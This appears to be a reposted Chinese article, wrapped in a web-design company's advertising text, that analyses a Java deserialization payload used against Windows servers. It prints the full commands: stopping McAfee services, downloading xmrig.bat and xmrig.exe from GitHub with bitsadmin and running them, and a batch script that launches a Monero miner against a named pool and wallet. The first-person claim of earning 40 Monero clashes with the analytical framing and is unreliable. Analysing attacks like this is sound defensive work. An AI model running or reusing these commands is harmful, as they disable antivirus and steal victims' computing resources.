这期内容当中小编将会给大家带来有关如何利用Java反序列化漏洞进行在Windows上的实验，文章内容丰富且以专业的角度为大家分析和叙述，阅读完这篇文章希望大家可以有所收获。

创新互联一直秉承“诚信做人，踏实做事”的原则，不欺瞒客户，是我们最起码的底线！ 以服务为基础，以质量求生存，以技术求发展，成交一个客户多一个朋友！为您提供网站制作、网站建设、成都网页设计、微信平台小程序开发、成都网站开发、成都网站制作、成都软件开发、成都app开发是成都本地专业的网站建设和网站设计公司，等你一起来见证！

最近，安全社区中有很多人都在讨论如何利用Java反序列化漏洞来攻击类似Apache、SOLR和WebLogic之类的系统。不说废话，我们直接进入正题。目前绝大多数的此类攻击针对的都是Linux/Unix系统，但是我近期发现了一种针对Windows系统的攻击方法。

攻击代码如下：

  
    
      
        
          
            
              cmd
            
            
              /c
            
            
              net stop"McAfee McShield;net stop mcafeeframework;bitsadmin.exe /transfer"xmrig.bat" /download /priority foregroundhttp://raw.githubusercontent.com/sirikun/starships/master/xmrig.bat"%cd%\xmrig.bat";bitsadmin.exe /transfer "xmrig.exe"/download /priority foregroundhttp://raw.githubusercontent.com/sirikun/starships/master/xmrig.exe"%cd%\xmrig.exe;dir xmrig*;xmrig.bat;tasklist;
            
          
          
        
      
    
  
  

实际的Payload分析

关闭McAfee反病毒软件（我不明白社区中的这种技术为啥只关掉McAfee…）：

netstop "McAfee McShield;
netstop mcafeeframework;

使用bitsadmin从GitHub下载加密货币挖矿程序和一个batch脚本文件：

bitsadmin.exe/transfer "xmrig.bat" /download /priority foregroundhttp://raw.githubusercontent.com/sirikun/starships/master/xmrig.bat"%cd%\xmrig.bat";
bitsadmin.exe/transfer "xmrig.exe" /download /priority foreground http://raw.githubusercontent.com/sirikun/starships/master/xmrig.exe"%cd%\xmrig.exe;
dirxmrig*;
xmrig.bat;
tasklist;

Batch脚本文件代码如下：

taskkill/im /f xmrig.exe /t
netstop "McAfee McShield"
netstop mcafeeframework
xmrig.exe-o monerohash.com:3333 -u 42jF56tc85UTZwhMQc6rHbMHTxHqK74qS2zqLyRZxLbwegsy7FJ9w4T5B69Ay5qeMEMuvVDwHNeopAxrEZkkHrMb5phovJ6-p x --background --max-cpu-usage=50 --donate-level=1

首先，上述代码会终止其他xmrig进程（可能是为了防止资源竞争）。接下来，它会关闭McAfee。然后便会开启挖矿程序，并跟monerohash.com矿池（端口3333）进行连接。它只会占用大约50%的CPU资源，估计是为了避免被检测到吧。

目前为止，这个挖矿程序的计算能力只能实现350哈希每秒，并为我挖到了40个门罗币（价值约为7000美元）。

上述就是小编为大家分享的如何利用Java反序列化漏洞进行在Windows上的实验了，如果刚好有类似的疑惑，不妨参照上述分析进行理解。如果想知道更多相关知识，欢迎关注创新互联行业资讯频道。

网站名称：如何利用Java反序列化漏洞进行在Windows上的实验
分享路径：http://kswjz.com/article/gghgji.html